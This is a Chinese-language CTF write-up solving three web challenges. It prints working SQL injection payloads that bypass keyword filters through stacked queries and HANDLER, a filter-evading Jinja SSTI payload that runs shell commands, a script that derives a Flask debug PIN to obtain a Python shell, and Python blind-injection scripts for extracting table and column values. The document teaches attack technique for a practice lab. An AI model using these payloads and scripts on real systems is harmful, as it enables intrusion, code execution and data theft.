Web
Blacklist
题目提供了一个查询功能,可以尝试SQL注入
经过测试,使用以下Payload提交,仍然成功返回,发现注入点。
?inject=1' and '1--+
尝试联合注入、报错注入等,可以返回库名。
?inject=1' and extractvalue(1,concat('~',database(),'~'))--+
但进一步利用时,发现题目进行了黑名单过滤,过滤了select
、where
等关键字,无法查询表名。
考虑使用十六进制编码进行绕过查询等关键字,但还需用到set
关键字,无法绕过。
set @x=73656C656374202A2066726F6D20466C616748657265;prepare a from @x;execute a;
select
关键字被过滤一般只有在堆叠注入的情况下才可以绕过,因此考虑进行堆叠注入。
查询数据库名
?inject=1';show databases;--+
查询表名
?inject=1';show tables;--+
通过查询表结构获取字段名
?inject=1';desc FlagHere;--+
查询表数据使用Handler查询。
Handler是Mysql特有的轻量级查询语句,在Mysql中除了使用select查询表中的数据,也可使用handler语句,这条语句能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是Mysql专用的语句,并没有包含到SQL标准中。
Handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
?inject=1';handler FlagHere open as a;handler a read first;handler a close;--+
FlaskApp
本题我使用SSTI解出,后来看到官方wp,还考察了debug PIN。
以下先给出我的解法:
SSTI
题目提供了一个进行Base64编码和解码的Web页面,由题目名称推测可能存在SSTI,尝试传入以下Payload
{{4}}
# e3s0fX0=
页面成功回显4,因此存在SSTI
经过尝试,*
、eval
、os
、popen
、flag
等关键字都被过滤,提交后返回统一提示。常见Payload无法直接打,因此需要进行绕过。
经过调试,首先寻找存在global
全局变量的其中一个类,引号内的关键字采用字符串拼接或十六进制编码进行绕过即可
{{''.__class__.__base__.__subclasses__()[245].__init__.__globals__['__builtins__']['\x65\x76\x61\x6c']('__impo'+'rt__("\x6f\x73").pop'+'en("cat /this_is\x2a").read()')}}
# e3snJy5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKVsyNDVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnXHg2NVx4NzZceDYxXHg2YyddKCdfX2ltcG8nKydydF9fKCJceDZmXHg3MyIpLnBvcCcrJ2VuKCJjYXQgL3RoaXNfaXNceDJhIikucmVhZCgpJyl9fQ==
得到答案
以下是官方解法:
Debug PIN
简单来说就是在Flask debug模式下,配合任意文件读取,可以造成任意代码执行。
Flask在debug模式下会生成一个Debugger PIN,通过这个PIN码,就可以在Web端执行任意Python代码。
而PIN码的生成机制是由一些固定的值算出来的,在同一台主机上多次启动同一个Flask应用时,这个pin码是固定的。而计算这个PIN码则需要以下参数:
username
:就是启动这个Flask的用户,可通过/etc/passwd
查看modname
:为flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__'))
:为Flask
getattr(mod, '__file__', None)
:为flask目录下的一个app.py的绝对路径uuid.getnode()
:当前电脑的MAC地址的十进制get_machine_id()
:Linux下为依次读取/etc/machine-id
和/proc/sys/kernel/random/boot_id
文件的值,若有则直接返回
编写脚本计算PIN码:
import hashlib
from itertools import chain
username = 'flaskweb' # /etc/passwd
modname = 'flask.app'
app_name = 'Flask'
mod_file = '/usr/local/lib/python3.7/site-packages/flask/app.py'
mac_addr = '8a:e1:91:22:7f:59' # /sys/class/net/eth0/address
machine_id = b'1408f836b0ca514d796cbf8960e45fa1' # /etc/machine-id /proc/sys/kernel/random/boot_id
uuid_node = str(int(mac_addr.replace(':', ''), 16))
probably_public_bits = [
username,
modname,
app_name,
mod_file,
]
private_bits = [uuid_node, machine_id]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
运行得到PIN码,进而获得Python Shell:
Ezsqli
题目页面提供了一个查询框,输入1
,可以返回数据:
经过测试,返回结果有以下几种类型:
输入 | 响应 | 备注 |
---|---|---|
1 | Nu1L | 正常返回数据 |
2 | V&N | 正常返回数据 |
3 | Error Occured When Fetch Result. | 查询结果为空 |
1’ | bool(false) | SQL语法错误 |
1 and 1 | SQL Injection Checked. | 触发过滤规则 |
考虑进行SQL注入,但是题目对某些关键字进行了过滤,首先Fuzz一下,发现and
、or
、union
等都被过滤了,但是异或^
可以用。
经过测试,可以使用如下Payload通过布尔盲注得到数据库名:
id=1^(substr(database(),{},1)='{}')
但是本题中过滤了information_schema
关键字,无法通过该数据库获得表名和列名。
在 Mysql 5.7 版本中新增了sys.schema
,其基础数据来自于performance_schema
和information_schema
两个库中,其本身并不存储数据。
Mysql的innodb引擎下可以使用mysql.innodb_table_stats
、mysql.innodb_index_stats
代替,日志将会把表、键的信息记录到这两个表中
除此之外,系统表sys.x$schema_flattened_keys
、sys.schema_table_statistics_with_buffer
、sys.schema_auto_increment_columns
用于记录查询的缓存,某些情况下也可代替。
利用以上代替表盲注表名,代码如下:
import requests
import string
char = string.ascii_lowercase + string.digits + '_,-' + string.ascii_uppercase
flag = ''
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://69299e07-c820-4302-83a2-e949b469e4d4.node4.buuoj.cn:81", "Connection": "close", "Referer": "http://69299e07-c820-4302-83a2-e949b469e4d4.node4.buuoj.cn:81/", "Upgrade-Insecure-Requests": "1"}
for i in range(1, 30):
for j in char:
# 库名:give_grandpa_pa_pa_pa
# payload = "1^(substr(database(),{},1)='{}')".format(i, j)
# 表名:f1ag_1s_h3r3_hhhhh,users23333
payload = "1^(substr((select/**/group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys),{},1)='{}')".format(i, j)
params = "id=" + payload
response = requests.post("http://buuoj/index.php",headers=headers, data=params)
if len(response.content) > 285:
flag += j
print(flag)
break
得到表名为f1ag_1s_h3r3_hhhhh
和users23333
但题目中还过滤了union
、join
关键字,因此无法通过join关键字进行无列名注入,于是通过字符比较的方式直接破解字段值。
在Mysql中通过>
、<
进行比较两个字符串时,与字符串的长度无关。给定两个字符串,会各取两个字符串的首字符比较ascii码,不等式成立返回1
,不成立返回0
。
例如:
SELECT 'a'<'b' # 1
SELECT 'a'>'b' # 0
SELECT 'a'>'bcde' # 0
SELECT 'azz'>'bcde' # 0
首先确定字段数,通过以下Payload得知字段数为2
id=1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh)) # bool(false)
id=1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh)) # Error Occured When Fetch Result.
逐一爆破字符即可,代码如下:
for i in range(1, 30):
for j in range(40, 127):
payload = "1^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag + chr(j))
params = "id=" + payload
response = requests.post("http://buuoj/index.php",headers=headers, data=params)
if len(response.content) == 313:
flag += chr(j-1)
print(flag)
break
得到答案:
参考链接
MySQL :: MySQL 8.0 Reference Manual :: 13.2.5 HANDLER Statement
Flask debug pin安全问题 - 先知社区
SQL注入基础整理及Tricks总结-安全客 - 安全资讯平台
information_schema过滤与无列名注入_information被过滤_snowlyzz的博客-CSDN博客
无列名注入姿势总结 - phant0m1 - 博客园